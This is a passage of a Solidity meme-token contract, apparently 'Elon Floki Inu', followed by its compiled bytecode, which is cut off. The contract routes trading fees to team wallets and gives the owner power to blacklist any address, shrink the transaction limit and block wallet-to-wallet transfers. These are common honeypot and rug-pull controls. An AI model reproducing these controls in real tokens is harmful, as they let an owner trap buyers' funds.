emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ec4565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129e7565b61045e565b6040516101789190612ea9565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613066565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612998565b61048d565b6040516101e09190612ea9565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061290a565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130db565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a64565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061290a565b610783565b6040516102b19190613066565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612ddb565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ec4565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129e7565b61098d565b60405161035b9190612ea9565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a23565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ab6565b6110b7565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061295c565b611200565b6040516104189190613066565b60405180910390f35b60606040518060400160405280601381526020017f456c6f6e20466c6f6b6920496e7520f09f90b600000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461145a565b61055b846104a6611287565b6105568560405180606001604052806028815260200161379f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b61128f565b600190509392505050565b61056e611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fa6565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610667611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fa6565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610752611287565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c7d565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d78565b9050919050565b6107dc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fa6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f65466c6f6b69496e7520f09f9095000000000000000000000000000000000000815250905090565b60006109a161099a611287565b848461145a565b6001905092915050565b6109b3611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fa6565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef9061337c565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611de6565b50565b610b7d611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fa6565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613026565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612933565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612933565b6040518363ffffffff1660e01b8152600401610e1f929190612df6565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612933565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e48565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612adf565b5050506001600f60166101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611061929190612e1f565b602060405180830381600087803b15801561107b57600080fd5b505af115801561108f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b39190612a8d565b5050565b6110bf611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114390612fa6565b60405180910390fd5b6000811161118f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118690612f66565b60405180910390fd5b6111be60646111b083683635c9adc5dea000006120e090919063ffffffff16565b61215b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f59190613066565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690613006565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612f26565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190613066565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612ee6565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612fc6565b60405180910390fd5b611585610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f357506115c3610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5657600f60179054906101000a900460ff1615611826573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167557503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117295750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182557600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176f611287565b73ffffffffffffffffffffffffffffffffffffffff1614806117e55750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117cd611287565b73ffffffffffffffffffffffffffffffffffffffff16145b611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b90613046565b60405180910390fd5b5b5b60105481111561183557600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118e257600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119fb5750600f60179054906101000a900460ff165b15611a9c5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4b57600080fd5b600f42611a58919061319c565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa730610783565b9050600f60159054906101000a900460ff16158015611b145750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b2c5750600f60169054906101000a900460ff165b15611b5457611b3a81611de6565b60004790506000811115611b5257611b5147611c7d565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bfd5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0757600090505b611c13848484846121a5565b50505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c589190612ec4565b60405180910390fd5b5060008385611c70919061327d565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ccd60028461215b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf8573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4960028461215b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d74573d6000803e3d6000fd5b5050565b6000600654821115611dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db690612f06565b60405180910390fd5b6000611dc96121d2565b9050611dde818461215b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e44577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e725781602001602082028036833780820191505090505b5090503081600081518110611eb0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5257600080fd5b505afa158015611f66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f8a9190612933565b81600181518110611fc4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208f959493929190613081565b600060405180830381600087803b1580156120a957600080fd5b505af11580156120bd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120f35760009050612155565b600082846121019190613223565b905082848261211091906131f2565b14612150576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214790612f86565b60405180910390fd5b809150505b92915050565b600061219d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121fd565b905092915050565b806121b3576121b2612260565b5b6121be848484612291565b806121cc576121cb61245c565b5b50505050565b60008060006121df61246e565b915091506121f6818361215b90919063ffffffff16565b9250505090565b60008083118290612244576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223b9190612ec4565b60405180910390fd5b506000838561225391906131f2565b9050809150509392505050565b600060085414801561227457506000600954145b1561227e5761228f565b600060088190555060006009819055505b565b6000806000806000806122a3876124d0565b95509550955095509550955061230186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123e2816125e0565b6123ec848361269d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124499190613066565b60405180910390a3505050505050505050565b60026008819055506012600981905550565b600080600060065490506000683635c9adc5dea0000090506124a4683635c9adc5dea0000060065461215b90919063ffffffff16565b8210156124c357600654683635c9adc5dea000009350935050506124cc565b81819350935050505b9091565b60008060008060008060008060006124ed8a6008546009546126d7565b92509250925060006124fd6121d2565b905060008060006125108e87878761276d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b6000808284612591919061319c565b9050838110156125d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125cd90612f46565b60405180910390fd5b8091505092915050565b60006125ea6121d2565b9050600061260182846120e090919063ffffffff16565b905061265581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126b28260065461253890919063ffffffff16565b6006819055506126cd8160075461258290919063ffffffff16565b6007819055505050565b60008060008061270360646126f5888a6120e090919063ffffffff16565b61215b90919063ffffffff16565b9050600061272d606461271f888b6120e090919063ffffffff16565b61215b90919063ffffffff16565b9050600061275682612748858c61253890919063ffffffff16565b61253890919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278685896120e090919063ffffffff16565b9050600061279d86896120e090919063ffffffff16565b905060006127b487896120e090919063ffffffff16565b905060006127dd826127cf858761253890919063ffffffff16565b61253890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128096128048461311b565b6130f6565b9050808382526020820190508285602086028201111561282857600080fd5b60005b85811015612858578161283e8882612862565b84526020840193506020830192505060018101905061282b565b5050509392505050565b60008135905061287181613759565b92915050565b60008151905061288681613759565b92915050565b600082601f83011261289d57600080fd5b81356128ad8482602086016127f6565b91505092915050565b6000813590506128c581613770565b92915050565b6000815190506128da81613770565b92915050565b6000813590506128ef81613787565b92915050565b60008151905061290481613787565b92915050565b60006020828403121561291c57600080fd5b600061292a84828501612862565b91505092915050565b60006020828403121561294557600080fd5b600061295384828501612877565b91505092915050565b6000806040838503121561296f57600080fd5b600061297d85828601612862565b925050602061298e85828601612862565b9150509250929050565b6000806000606084860312156129ad57600080fd5b60006129bb86828701612862565b93505060206129cc86828701612862565b92505060406129dd868287016128e0565b9150509250925092565b600080604083850312156129fa57600080fd5b6000612a0885828601612862565b9250506020612a19858286016128e0565b9150509250929050565b600060208284031215612a3557600080fd5b600082013567ffffffffffffffff811115612a4f57600080fd5b612a5b8482850161288c565b91505092915050565b600060208284031215612a7657600080fd5b6000612a84848285016128b6565b91505092915050565b600060208284031215612a9f57600080fd5b6000612aad848285016128cb565b91505092915050565b600060208284031215612ac857600080fd5b6000612ad6848285016128e0565b91505092915050565b600080600060608486031215612af457600080fd5b6000612b02868287016128f5565b9350506020612b13868287016128f5565b9250506040612b24868287016128f5565b9150509250925092565b6000612b3a8383612b46565b60208301905092915050565b612b4f816132b1565b82525050565b612b5e816132b1565b82525050565b6000612b6f82613157565b612b79818561317a565b9350612b8483613147565b8060005b83811015612bb5578151612b9c8882612b2e565b9750612ba78361316d565b925050600181019050612b88565b5085935050505092915050565b612bcb816132c3565b82525050565b612bda81613306565b82525050565b6000612beb82613162565b612bf5818561318b565b9350612c05818560208601613318565b612c0e81613452565b840191505092915050565b6000612c2660238361318b565b9150612c3182613463565b604082019050919050565b6000612c49602a8361318b565b9150612c54826134b2565b604082019050919050565b6000612c6c60228361318b565b9150612c7782613501565b604082019050919050565b6000612c8f601b8361318b565b9150612c9a82613550565b602082019050919050565b6000612cb2601d8361318b565b9150612cbd82613579565b602082019050919050565b6000612cd560218361318b565b9150612ce0826135a2565b604082019050919050565b6000612cf860208361318b565b9150612d03826135f1565b602082019050919050565b6000612d1b60298361318b565b9150612d268261361a565b604082019050919050565b6000612d3e60258361318b565b9150612d4982613669565b604082019050919050565b6000612d6160248361318b565b9150612d6c826136b8565b604082019050919050565b6000612d8460178361318b565b9150612d8f82613707565b602082019050919050565b6000612da760118361318b565b9150612db282613730565b602082019050919050565b612dc6816132ef565b82525050565b612dd5816132f9565b82525050565b6000602082019050612df06000830184612b55565b92915050565b6000604082019050612e0b6000830185612b55565b612e186020830184612b55565b9392505050565b6000604082019050612e346000830185612b55565b612e416020830184612dbd565b9392505050565b600060c082019050612e5d6000830189612b55565b612e6a6020830188612dbd565b612e776040830187612bd1565b612e846060830186612bd1565b612e916080830185612b55565b612e9e60a0830184612dbd565b979650505050505050565b6000602082019050612ebe6000830184612bc2565b92915050565b60006020820190508181036000830152612ede8184612be0565b905092915050565b60006020820190508181036000830152612eff81612c19565b9050919050565b60006020820190508181036000830152612f1f81612c3c565b9050919050565b60006020820190508181036000830152612f3f81612c5f565b9050919050565b60006020820190508181036000830152612f5f81612c82565b9050919050565b60006020820190508181036000830152612f7f81612ca5565b9050919050565b60006020820190508181036000830152612f9f81612cc8565b9050919050565b60006020820190508181036000830152612fbf81612ceb565b9050919050565b60006020820190508181036000830152612fdf81612d0e565b9050919050565b60006020820190508181036000830152612fff81612d31565b9050919050565b6000602082019050818103600083015261301f81612d54565b9050919050565b6000602082019050818103600083015261303f81612d77565b9050919050565b6000602082019050818103600083015261305f81612d9a565b9050919050565b600060208201905061307b6000830184612dbd565b92915050565b600060a0820190506130966000830188612dbd565b6130a36020830187612bd1565b81810360408301526130b58186612b64565b90506130c46060830185612b55565b6130d16080830184612dbd565b9695505050505050565b60006020820190506130f06000830184612dcc565b92915050565b6000613100613111565b905061310c828261334b565b919050565b6000604051905090565b600067ffffffffffffffff82111561313657613135613423565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131a7826132ef565b91506131b2836132ef565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e7576131e66133c5565b5b828201905092915050565b60006131fd826132ef565b9150613208836132ef565b925082613218576132176133f4565b5b828204905092915050565b600061322e826132ef565b9150613239836132ef565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613272576132716133c5565b5b828202905092915050565b6000613288826132ef565b9150613293836132ef565b9250828210156132a6576132a56133c5565b5b828203905092915050565b60006132bc826132cf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613311826132ef565b9050919050565b60005b8381101561333657808201518184015260208101905061331b565b83811115613345576000848401525b50505050565b61335482613452565b810181811067ffffffffffffffff8211171561337357613372613423565b5b80604052505050565b6000613387826132ef565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133ba576133b96133c5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c65737320746